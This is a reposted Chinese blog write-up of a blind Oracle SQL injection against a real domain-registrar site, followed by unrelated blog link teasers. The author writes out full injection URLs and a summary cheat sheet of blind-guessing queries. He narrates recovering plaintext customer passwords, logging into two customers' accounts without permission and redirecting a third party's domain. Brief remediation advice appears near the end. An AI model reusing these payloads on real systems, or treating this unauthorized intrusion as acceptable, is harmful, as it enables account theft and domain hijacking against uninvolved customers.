万网的尴尬-万网ORACLE注入漏洞曝光

GOOGLE HACKING 系列文章 【FreeXploiT整理收集】 本文涉及作者 swap(慕容小雨),zhaohuan(Xfocus),snipe(4ngel)信息安全的隐患-GoogleHacking原理和防范作者:zhaohuan@phack.org 来源:www.phack.org技术天地:GoogleHacking是利用Google的搜索引擎快速查找存在脆弱性的主机以及包含敏感数据的信息,最近这种以前由黑客手动进行操作的攻击手段可以通过一种新的蠕虫病毒来 阅读详情
其实黑客在攻击的时候最重要的是思路,技术我想大家没人敢说自己一定是最好、最新的吧!

万网的尴尬-万网ORACLE注入漏洞曝光
    前段时间,手上的项目做完以后,闲着无事,便在网上到处逛逛。看见群里的朋友聊天说自己的什么什么站什么什么论坛开张了。欢迎大家去玩去下载东东,还是.com,.com.cn的域名,很是羡慕啊。虾米时候我才能有自己的主机和顶级域名呢……幻想流口水中……。想到申请主机和域名,自然就想到了中国万网(在中国太有名嘛^_^)。去那里看看吧,看看到底要多少米。顺手就打开了万网的主页。哇咔,一台标准的ASP.NET主机一年要1600大元……一个域名要200。刚想算了,又看到了主页右上角的会员登陆界面,平时做安全的习惯让我“贼”心又起。呵呵,那就来看看能不能发现什么漏洞,弄个会员就好拉,反正现在也没什么事做。
随便在网站内转了转,在关于万网里看到:万网( www.net.cn)是中国最大的域名和网站托管服务提供商。是中国互联网服务行业的旗舰。号称拥有10多年Unix经验的系统工程师、CISCO路由器专家、Orcale数据库专家 、微软MCSE认证工程师、Java/ASP/Perl/C编程高手和网络安全专家。咳咳……汗。这种大网站服务器的安全措施恐怕不知道做了N条。说不定做了映射,加了N高级的IDS和FW,说不定还做了蜜罐等着呢,补丁肯定素早打全了。拿出端口扫描的工具扫了一下……郁闷了……。看来直接从服务器入侵是没什么希望了……
继续转了转,发现了一个情况,嘿嘿,万网的站点使用ASP写的。要知道,前段时间ASP+MSSQL的注入可是闹的沸沸扬扬,不少站点都吃了苦头。万网这种大网站,会有这种问题吗?不管了,先试一试再说。找了个链接:
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341
这是个购买虚拟主机的页面,先用经典的and 1=1 and 1=2方法来测试了一下。我晕~全部都是返回类型不匹配: 'CDbl'错误。唉,难道真的是不行了吗?还是不甘心,再来看一看用的什么数据库吧。在参数后面加上一个单引号,提交,页面返回错误:
OraOLEDB 错误 '80004005'
ORA-01756: 括号内的字符串没有正确结束
/HAS_Client/buy/vir_host/vir_host1_SB.asp,行285
哈哈,原来用的是ORACLE。难怪。而一般用ORACLE数据库出现这样的返回错误,都是可能存在问题的。这和MSSQL出现什么未闭合的引号的返回错误差不多,不过MSSQL出现那样的错误提示我们就几乎可以肯定存在注入漏洞了,而ORACLE则要再进一步确定一下。

一下子来了精神,继续做进一步的判定。注意,以下几步的判定是我们后面的入侵的基础,非常重要。
    我们再分别提交:
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20all_tables)%20and%20'1'='1
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tables)%20and%20'1'='1
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns)%20and%20'1'='1
这几个是看看有没有有没有我们猜测的ORACLE的系统表all_tables,user_tables和user_tab_columns。我们以后的渗透都要靠这几个系统表才能完成。如果没有,就没的玩拉。

页面全都成功返回了,说明存在猜测的系统表,同时也说明我们提交的SQL语句,程序做了处理。到此,也确认了这个页面确实存在SQL注入漏洞。YEAH!
    在给万网发了N封邮件无反应后,我开始了进一步的渗透。
    下面,我们就开始正式的注入。当然,如果上面猜测系统表的页面不能正常返回的话……那多半是不能成功了。^_^
    首先我们来整理一下思路。数据库中最关键的就是用户的帐号信息,而最最关键的就是用户的用户名和密码。我们首要的目标就是这个。那怎么在ORACLE数据库中定位这个信息呢。我们来这样做,user_tab_columns这个系统表里存放了所有的用户表的列名。我们就从这里下手。提交:
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25')%20AND%20'1'='1
这里的意思是查询user_tab_columns表里有没有包含PASSWORD字串的列名。

页面正确返回,哈哈,说明有列名是包含PASSWORD字串的。
我们也可以测试PWD,ADMIN,PASS等等敏感的字段。这里我们就从PASSWORD这个下手。知道了有包含PASSWORD字串的列名。那我们怎么来知道是什么表包含了这个列名呢?我们这样做,提交
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,1)='A')%20AND%20'1'='1
这里的意思是查看数据库中以A开头的表中有没有列名是包含PASSWORD字段的。如果有的话页面就会正确返回。否则就会报错:
Microsoft VBScript 运行时错误 错误 '800a000d'
类型不匹配: 'CDbl'
/HAS_Client/include/vh_getproperty.asp,行46
如图:

可是这样一个个试实在是……太累……26个字母呢……。这里我利用了NBSI的后台管理地址扫描功能来进行自动检测。我们这样做:
    NBSI的后台管理地址扫描的地址是由Dict_Admin.txt这个文件来控制的。我们就把文件的内容换成:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,1)='A')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,1)='B')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,1)='C')%20AND%20'1'='1
。
。
。
然后我们在程序中扫描地址中填上 http://www.net.cn/HAS_Client/buy/vir_host。点开始扫描。NBSI就开始帮我们一个个去GET设定的地址了。这里有一个问题,就是500错误NBSI也会显示在下面的结果栏里,而我们只要它显示返回200 OK的地址。怎么办呢?我们拿出我们的WPE PRO。WPE PRO是一个实时截获修改数据包的工具。我们用它把返回的500错误改成404页面不存在。那NBSI就不会在下面显示这个500错误的地址了。WPE的具体用法我这里就不详细说了,网上有教程的。给出个截图。

这样,可以使我们猜测的效率大大的提高。后面的大规模的猜测也是这样。
通过猜测,我们得到了有以C,D,H,M,S,V开头的表中包含了敏感字段。一个个来看吧。累哦:)
先来看C。数据库中以C开头的数据表可能有很多,到底哪个是我们所需要的那个呢。我们继续来猜测第二位。把Dict_Admin.txt(以下简称ADMIN)文件的内容用全部替换功能换成:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,2)='CA')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,2)='CB')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20column_name%20like%20'%25PASSWORD%25'%20and%20substr(table_name,1,2)='CC')%20AND%20'1'='1
。
。
。
再次进行检测。OK,得到我们所需要的那个表的前两个字符是CU。然后再检测第三位。。。如此循环。最后得到包含有敏感列名的以C开头的表明为CUSTOMERMST。看到了CUSTOMER……嘿嘿,有戏哦。当然,猜到五个字符左右的时候,你可以提交
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and 0<>(select count(*) from user_tables where table_name like '%25XXXXX%25' and length(table_name)=N) and '1'='1
来确定猜测的表名的长度是多少。这样更准确快捷一些。
猜完了表名,可以提交:
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and 0<>(select count(*) from user_tables where table_name= 'CUSTOMERMST') and '1'='1
来确认一下。页面正确返回就OK了。:)
继续继续。到现在,我们还不知道具体的列名。下面我们就着手开始猜测CUSTOMERMST表的列名。由于ORACLE没有象MSSQL那样“砰”的一声直接暴字段的功能,所以我们只能去慢慢猜,累啊。。。幸亏个自制的NBSI+WPE的土检测器。。。*_*。闲话少说,下面来猜测列名,将ADMIN文件的内容改成:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='CUSTOMERMST'%20and%20substr(column_name,1,1)='A')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='CUSTOMERMST'%20and%20substr(column_name,1,1)='B')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='CUSTOMERMST'%20and%20substr(column_name,1,1)='C')%20AND%20'1'='1
。
。
。
这里的意思是通过猜测来看看在CUSTOMERMST表中存在哪些字母开头的列名。页面正确返回,也就是返回200 OK,那就是存在。

通过检测,知道存在以A,B,C,E,F,G,I,L,M,O,P,R,S,U开头的列名。我晕,这么多。。。没办法,慢慢来吧。先来看A开头的:
这里的方法和上面猜测表名的方法差不多,将ADMIN文件的内容改为:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='CUSTOMERMST'%20and%20substr(column_name,1,2)='AA')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='CUSTOMERMST'%20and%20substr(column_name,1,2)='AB')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20user_tab_columns%20where%20table_name='CUSTOMERMST'%20and%20substr(column_name,1,2)='AC')%20AND%20'1'='1
。
。
。
OK,得到前两位是AR,继续。。。最后得到列名为AREAID。这里需要注意一点的是,在一位位检测的时候,可能出来多个结果,就说明有多个列名。比如检测以B开头的第二位的时候,BI和BU都返回200 OK,那么就说明有以BI,BU开头的列名,下面要分别去猜。以此类推,最后我们得到了CUSTOMERMST表的所有列名(擦一下汗……):
AREAID
BIRTHDAY
BIZID
BUSINESSSTATUS
CHANNEL_STAFFID
CITYID
CONTACT
COUNTRY
CUSTOMERID
CUSTOMERINDUSTRY
CUSTOMERORIGINTYPE
EMAIL
EMAILBACKUP
。
。
。
PASSWORD
。
。
。
USERID
。
。
看名字,就知道CUSTOMERID,PASSWORD和USERID这三个字段是最重要的。

万网在登陆的时候是用一个数字ID和密码登陆的。那么这两个ID到底哪个才是用来登陆的ID呢?我们这样来做。到万网首页登陆框那里,用通过用户名查数字ID的方法查个ID过来。恩。。。用什么用户的名字呢?我们可是对数据的类型一无所知啊。在首页上转了转,发现底部有个万网新客户推荐栏目。仔细看了一下,有个房地产门户-搜房网 http://www.soufun.com/ 恩,就用soufun这个名字好了~^_^

OK,得到soufun用户的ID是10529112。下面我们就来确定哪个字段才是ID字段。提交:
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20CUSTOMERID='10529112')%20and%20'1'='1
哇靠,页面没有正确返回,返回了错误。看来不是这个字段。再提交:
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112')%20and%20'1'='1
OK,嘿嘿,这次页面正确返回了。看来USERID字段是放用户登陆ID的。同样方法,检测出CUSTOMERID字段是放用户名的。
字段属性知道了,下面开始猜密码了,还是用这个admin用户。当然,还是要一位位的猜。终于可以猜密码了,嘿嘿。不累了。将ADMIN文件内容改成:
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='a')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='b')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='c')%20AND%20'1'='1
。
。
。
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='0')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='1')%20AND%20'1'='1
vir_host1_SB.asp?PackageID=10341'and%200<>(select%20count(*)%20from%20CUSTOMERMST%20where%20USERID='10529112'%20and%20substr(PASSWORD,1,1)='2')%20AND%20'1'='1
。
。
。
这里要加上是个阿拉伯数字,密码一般是字母加数字嘛:)。上面就是猜ID为10529112的用户的密码的第一位。几秒过后,密码第一位出来了,是n。继续猜第二位,方法和上面猜表名,列名的方法一样,唯一不同的就是这里不会出现多个结果了。最后得到ID是10529112的用户的密码是n****。我晕,密码竟然不加密。。。数据库和安全专家呢。。。?
猜出了密码,恩,来登陆一下SEESEE,嘿嘿。


哈哈,登陆OK!。。。可用金额竟然素-130元……,晕!还能透支的?欺骗偶滴感情T_T。不怕!找到存钱的字段,UPDATE!嘿嘿……可惜我试了N次都不知道该怎么正确的执行update和insert,5555555。哪位高手有好的方法,大家交流一下:)
    当然,登陆进去以后就有了这个帐户的一切权利。先来看看已付款产品管理。……什么东东都没有,晕!再来看看这个用户的财务信息:

恩……打开最近的一笔交易。发现是转了130大元到了10144167。难道10144167这个帐号才素有钱人?:P
    马上破解出10144167的密码u******,登陆进去。哈哈,原来是域名分销联盟伙伴,有钱人~余额329^_^.再打开已付款产品管理,再哈哈,这么多域名啊~:P

打开页面底部的域名解析综合服务,HOHO找到了中文通用域名注册-搜房网.中国。点击,就来到了搜房网.中国的域名解析服务页面,这里我们可以随意更改搜房网.中国的解析,来控制域名指向。
说到这里,我的心思已经不是去弄个会员了。因为这样的危害实在是太大了。想想看,我们得到了用户帐号和密码,登陆进去,就可以轻易更改用户购买的域名的指向,指到我们指定的位置。试想一个恶意的攻击者,把某个商业站点的域名指向指到自己制作的一个假的站点去,那么用户登陆这个商业站点的帐号信息也就等于毫无安全可言了。我们访问在万网注册域名的网站将全部乱套。而对于购买了虚拟主机服务的用户来说,危害就是,攻击者通过万网提供的网站管理系统,可以完全控制网站,这个危害就不用说了。
对于万网来说,其所有的业务都有可能受到影响,数据可以被任意获取篡改,我想没有客户敢这样申请业务吧,呵呵。
比如就用上面的那个拥有很多域名的用户来做个演示。我想让szsxmd.gd.cn这个域名解析到著名的 www.xfocus.net安全焦点。首先我PING一下 www.xfocus.net得到IP为202.106.127.50。然后,我进入域名解析综合业务,在szsxmd.gd.cn这个域名的解析业务里加一条记录,指定解析IP为202.106.127.50 。如图:

过了几个小时以后,域名解析生效,我们再访问szsxmd.gd.cn时,就会发现,我们来到了安全焦点的页面:)

而在命令行中PING szsxmd.gd.cn时,会发现,地址解析为202.106.127.50:)

其他的一些危害是显而易见的,并且比较大,我就不再做实际的演示了。
数据库可以说是一个站点的重中之重。通过这个注入漏洞,我们完全可以控制数据库中的数据,不光光是用户帐号的信息,所有存在数据库中的数据,我们都可以获取,体力活而已了。在开放PUBLIC组的UTL_FILE权限的情况下,其实还可以用UNION查询读取服务器上的文件,这点和PHP+MYSQL注入中的load_file()有些相似。当然也可以执行UPDATE之类的。只是在ORACLE注入上,我还是个菜鸟,还没能更新插入数据和进行更高级的注入攻击。而且ORACLE的注入只能一位位的去猜,并且没有自动化的工具。我是利用了NBSI的后台扫描功能和WPE来提高了效率。不过我相信,高手是很多的,自动化的工具也很快就会出现。^_^
    这里总结一下一些注入时用到的语句:
0〈〉(select count(*) from all_tables) and ’1’=’1    猜测是否有all_tables系统表,确认注入
0〈〉(select count(*) from user_tab_columns where column_name like ’%25列名关键字%25’) AND ’1’=’1    猜测是否有包含定义关键字的列名
0〈〉(select count(*) from user_tab_columns where column_name like ’%25列名关键字%25’ and substr(table_name,1,1)=’A’) AND ’1’=’1    包含关键列名的表中是否有以A开头的。即开始一位位猜表。
0〈〉(select count(*) from user_tables where table_name like ’%25表名关键字%25’ and length(table_name)=N) and ’1’=’1    猜测包表名含有关键字的表的长度
0〈〉(select count(*) from user_tab_columns where table_name=’表名’ and substr(column_name,1,1)=’A’) AND ’1’=’1    猜测列名
0〈〉(select count(*) from 表名 where 列名1=’XXXXXXXX’ and substr(列名2,1,1)=’a’) AND ’1’=’1    猜测数据
    那么,ORACLE注入漏洞的原理是什么呢?这里我就简单的介绍一下。就拿我们注入的这个页面来说。
http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341
在ASP程序的源码中的查询语句可能是:
select * from TABLE where PACKAGEID =’10341’
因为作为一个非开源程序的攻击者来说,我们无从知道ASP程序中的源码究竟是什么样子的,只能通过返回的错误信息来判断大概的结构。所以这里我是举个大概的样子。
闲话少说。我们一起来分析。当我们访问这个页面时,ASP程序就根据URL中提交的参数10341去查询了TABLE表中PACKAGEID为10341的数据并且把它返回给我们。从我们测试的情况看,这个参数并没有做过滤就放到了查询语句中,这就给我们的注入提供了条件。当我们提交 http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341’and 0<>(select count(*) from all_tables) and ‘1’=’1 时。在ASP程序中的查询语句就变成了这样:
select * from TABLE where PACKAGEID =’10341’ and 0<>(select count(*) from all_tables) and ‘1’=’1’
这样我们就成功的把我们想执行的查询语句插入了ASP程序原来的查询语句中。这里和MSSQL有所不同的是,我们不能用—符号将后面的语句注释掉,后面的and ‘1’=’1就是为了匹配多出来的那个引号,从而使整个查询语句成立,正常返回页面。比如提交 http://www.net.cn/HAS_Client/buy/vir_host/vir_host1_SB.asp?PackageID=10341’and 0<>(select count(*) from all_tables) and ‘1’=’1’ and ‘x’=’x  整个页面也是正常返回的^_^。
    其实要防止这种注入很简单,只要对在URL中提交的参数进行严格的过滤,去除一些比如单引号,SQL关键字等不应该出现的字符,应该来说,攻击者就没有什么机会了。具体的做法可以是检查提交的URL中?号后面的字符串,发现有单引号,分号,SQL关键字等不该出现的字符的,马上就跳转到一个自定义的ERROR页面。个人认为这样是比较好的方法。尤其对于非开源程序的攻击者来说,几乎就是绝路了。
    网络安全是多方面的,每个环节都必须要时刻注意。可以用一个链条来做比喻,如果这个链条中任意一个环节出了问题,那么整个链就断了。就像万网的这个漏洞,虽然只是一个很小很小的问题,但是其影响是很大的,可以轻易的改变万网客户域名指向。如果我把很多的域名都指向某个站点,那这个站点就相当于瘫掉了。所以网络上的安全不是某家或者某些人的事情,而是需要我们整体从上到下都去做好,才可以。另外,自从经历了许许多多的蠕虫,病毒的攻击以后,大家普遍对自己服务器的安全关注起来,装FW,IDS,电信也参与进来封了一些端口。有些站点甚至就只开了80口。那么在服务器上运行的代码的安全,就显得格外的重要了。一个小小地方的小小疏忽,就有可能造成全局的崩溃。防御技术在不断进步,攻击手段也在不断翻新。今天有SQL注入,明天又会出现什么呢?时刻关注最新的攻击手段,我想对于一个优秀的管理员是非常重要的。遗憾的是现在有许多程序员在编写代码时还没有一个安全意识,而管理员只是把写好的代码放到服务器上,管好服务器的安全(我们公司也是这样,呵呵),代码的编写漏洞,就成为了一个突破口。我从高中就开始关注安全的问题,现在也在从事这方面的工作。可以说现在的网络比起以前,安全了太多太多,但是技术在进步,今天的安全不代表明天的安全。安全是一个永恒的话题。我个人的感觉是,那些蠕虫,病毒,是加强网管们安全意识的最有力武器,同样我相信,利用代码缺陷的攻击,也会加强程序员们编写代码时的安全意识。^_^
最后,希望万网解决这个漏洞,对于专家们来说,我想解决这个问题也许只要花不到5分钟。另外,加强一下自己数据库的数据安全,加个密吧。还有,你们的邮件服务器没问题吧?顺便提一下,国内还有很多站点有这样的注入漏洞,比如XX之家,XX部等:)
    感谢大家耐心的看完我的陋文。偶水平有限,如果有什么错误,欢迎大家能指正,偶的MSN:war3apollo@hotmail.com。对于外面的世界来说,偶永远是只菜鸟:)。
LinuX 硬盘分区细节详谈 【 整理至 LinuxSir BY FreeXploiT 】 系统引导过程及硬盘分区结构论述作者: zhy2111314来自: LinuxSir.Org ouc.edu.cn摘要: 本文是理论性文档,主要讲述系统引导过程以及硬盘的物理结构;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++正文+++++++++++++++++++++++++++++++++++++++++++++++ 阅读详情

相关推荐

IC面试常考题 Verilog三分频电路设计(占空比50%,三分之一,三分之二)

实现三分频电路最简单的是: 利用计数器实现。 时序图分析(本人比较懒,平常科研忙,所以直接手画时序图了,懒得用软件画了): 直接上图分析:利用计数器每隔三个周期信号翻转一次,同时在不同的计数下翻转得到的同步信号 clk_1和clk_2,再利用异或即可实现出一个不同占空比的三分频信号(同样的方法也可扩展到其他奇数分频设计中)。 例如占空比50%: module Div_three( input clk, input rst_n, output div_three ); reg

qq_41884662的博客 1万+

万网ORACLE注入漏洞详细手记

本文链接自黑客基地原文:万网的尴尬-万网ORACLE注入漏洞曝光前段时间,手上的项目做完以后,闲着无事,便在网上到处逛逛。看见群里的朋友聊天说自己的什么什么站什么什么论坛开张了。欢迎大家去玩去下载东东,还是.com,.com.cn的域名,很是羡慕啊。虾米时候我才能有自己的主机和顶级域名呢......幻想流口水中......。想到申请主机和域名,自然就想到了中国万网(在中国太有名嘛^_^)。去那里看

Kamus' Oracle World 3271

低功耗和UPF介绍

参考[UPF]低功耗(Low Power Design)and UPF介紹

青春易逝,愿不负昭华,期待梦与远方 1万+

orcale数据库使用方法

orcacle不同于mysql,可以随意创建数据库,操作数据,orcale中想自己创建一个数据库,首先得创建数据库的数据文件(参考步骤1)和临时文件,其次创建一个用户(参考步骤2),将用户与数据库文件关联,并赋予用户相应权限(参考步骤3)。而在连接数据库时,为了提供统一的连接方式,他们都对应于一个默认的数据库实例XE(对于XE版数据库来说)。 步骤1: CREATE TABLESPACE mo

ka_ci_la714的博客 672

SDN:使用Postman控制ODL查看和下发流表

所谓,其实可被视作是SDN对网络设备的数据转发功能的一种抽象。在传统网络设备中,交换机和路由器的数据转发需要依赖设备中保存的二层MAC地址转发表或者三层的IP地址路由表,SDN交换机中使用的流表也是如此,不过在它的表项中整合了网络中各个层次的网络配置信息,从而在进行数据转发时可以使用更丰富的规则。其流表中的每个表项结果如下图所示:OpenFlow1.3流表的每个表项由6部分组成:1、匹配域:匹配域即OpenFlow1.0流表中的包头域,用于对交换机接收到的数据包的包头内容进行匹配。Ehter Des。

lyhaoyuhangyuan的博客 2535

学Simulink——基于大数据处理与云计算的场景实例:无人机与云计算中心之间的高效数据传输链路设计

本文以无人机与云计算中心的高效数据传输链路设计为例,手把手指导使用Simulink进行系统级建模。针对智慧城市、灾害监测等场景中无人机采集的海量数据(视频、图像、点云等),构建包含数据源、传输协议、无线链路、云接入和性能分析的五层架构模型。通过智能数据压缩、多链路聚合和QoS优先级调度等关键技术,实现5G+Wi-Fi等多通信技术的自适应切换。仿真结果表明,5G+Wi-Fi链路聚合在城市环境中表现最优,而4G+卫星组合适合偏远地区。该模型为无人机实时数据传输提供了有效的设计方法和优化方向,可拓展至边缘计算、A

xiaoheshang_123的博客 120

SQL注入天书 - ASP注入漏洞全接触

http://www.cnblogs.com/enif/archive/2004/08/11/32146.html(源址)SQL注入天书 - ASP注入漏洞全接触 作者:NB联盟-小竹 (QQ:48814)引  言随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候

Ardor Leo's Blog 1万+

YOLOv8 改进涨点 | 模块即插即用 直接可用

在目标检测任务中,注意力机制能够帮助模型聚焦于图像中的关键区域,显著提升检测精度。。创建模块代码注册模块修改任务解析tasks.py创建YAML配置文件模块核心优势适用场景计算开销SOCA捕获二阶统计信息,增强通道间相关性需要精细特征区分的场景中等SK自适应多尺度核选择多尺度目标检测中等偏高显式特征聚集-分配机制全局上下文建模中等A2-Net双线性注意力,高效全局交互复杂场景理解中等偏高CrissCross线性复杂度全局上下文高分辨率输入,长距离依赖较低。

u012133341的博客 2257

PageFile Swap File

PageFile Swap FileAuthor: JIURL                Home: http://jiurl.yeah.net     Date: 2005-06-02 1 PageFile Swap File IntroductionWindows 2000 uses page-based virtual memory management, contents of som

FreeXploiT 39万+

SAM3 LoRA Fine-Tuning|SAM3微调(完全对齐官方训练和配置)

本文介绍了基于官方SAM3模型使用LoRA技术进行图像目标检测与分割微调的项目。项目完全对齐官方训练配置,支持多类别高效微调,且不影响原模型的开放词汇提示能力。微调后模型在航拍图像中对道路、车辆等目标的分割效果显著提升,误检率降低。 项目提供完整的训练和推理流程: 支持双卡并行训练,显存需求大(完整微调需30G+显存) 提供训练脚本和配置文件,可灵活调整参数 包含推理可视化工具,支持与原模型效果对比,内置训练结果分析工具,可生成指标对比图 数据集采用COCO格式。

weixin_46248968的博客 357

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

跨站脚本专题(XSS)

跨站脚本说明什么是跨站脚本(CSS/XSS)?我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。XSS和脚本注射的区别?原文里作者是和他一个朋

FreeXploiT 2万+

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

了解WWW服务与HTTP协议 【入门与应用】

轻松认识HTTP协议的概念和工作原理    当我们想浏览一个网站的时候,只要在浏览器的地址栏里输入网站的地址就可以了,例如:www.microsoft.com,但是在浏览器的地址栏里面出现的却是:http://www.microsoft.com,你知道为什么会多出一个“http”吗?一、HTTP协议是什么我们在浏览器的地址栏里输入的网站地址叫做URL(UniformResourceLocator,

FreeXploiT 2万+

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

windows网关详解 【了解网关的重要性,增加网络性能】【FreeXploiT综合文】

理解Windows中的路由表和默认网关   每一个Windows系统中都具有IP路由表,它存储了本地计算机可以到达的网络目的地址范围和如何到达的路由信息。路由表是TCP/IP通信的基础,本地计算机上的任何TCP/IP通信都受到路由表的控制。 理解路由表 你可以运行 route print 或 netstat -r 显示本地计算机上的路由表,如下图所示: C:/Documents

FreeXploiT 1万+

SATA硬盘的设置指南 【对使用sata的朋友挺有用的一篇文章】

这是我发表在电脑报上的三篇关于SATA硬盘设置使用的文章,看到评报中有人说整理到一起发在论坛上方便查找,所以就发到这里了。希望对遇到问题的朋友能有帮助。SATA硬盘使用问答(电脑报04年33期) bigh随着各厂家SATA硬盘价格的持续走低,支持SATA的主板逐渐繁荣和成熟,越来越多的人选择SATA硬盘来构建自己的电脑平台。但是由于SATA硬盘有别于并口PATA硬盘,安装和使用中会有很多不同,而使

FreeXploiT 1万+

DOS那一代的程序员现在都干嘛呢?

亿友论坛-DOS那一代的程序员现在都干嘛呢?(几年前的老帖子)          --  作者:包子夹蛋      --  发布时间:2005-5-10 14:01:00      --  DOS那一代的程序员现在都干嘛呢?(几年前的老帖子)      几年前的老帖子了,个人认为还不错,拿出来与大家分享      nnmm注:一群DOS年代老鸟的感言      [主题]DOS那一代的程序员现在都干

FreeXploiT 1万+

ALLyeSNO 优化版浩方 第二版 Ver:2007.06.15 清除广告 自动挤房间

allyesno 优化版浩方 第二版 Ver:2007.06.15 正式发布ALLyeSNO优化版浩方 2007.06.151.按Ctrl+F1挤房间 按Ctrl+F2停止挤房间 (一般情况下会自动停止 无需按Ctrl+F2停止)2.可以挤浩方对战平台的任意房间,包括浩方大厅房间,浩方引擎房间,CS房间注:如果进去游戏后 再次挤房间 我只测试了反恐大联盟的CS版本 其他CS版本没有测试过 所以

FreeXploiT 8645

FreeXploiT 成立三年感言!

 04年成立的,和一个朋友,现在那个朋友不知所踪了(他叫菜菜,很早就玩汇编了)后来的两年基本是我一个人更新里面的blog我这个算是最早的安全聚合blog吧? 暗礁的也挺早 不过是团队形式的 鬼仔的05年 neeao的04.10.26我的04.10.15那时候就是想弄点资料自己收藏着看看 ,当然也有很长远的目标 就是想做一个网站 先拿blog练练手一练就是三年啊 哈。。blo

FreeXploiT 8488

修改Windows SMB相关服务的默认端口

修改Windows SMB相关服务的默认端口转自:http://www.xfocus.net创建时间:2004-08-05文章属性:原创文章提交:tombkeeper (t0mbkeeper_at_hotmail.com)修改Windows SMB相关服务的默认端口作  者:于旸邮  件:tombkeeper[0x40]nsfocus[0x2e]com        tombkeeper[0x40

FreeXploiT 6723

Security Accounts Manager

Title: Security Accounts Manager | Author: clark@hushmail.com | Last updated: 31st May 2004This article is based primarily on a local default setup of NT5.0 Professional or 2K (Windows 2

FreeXploiT 6496

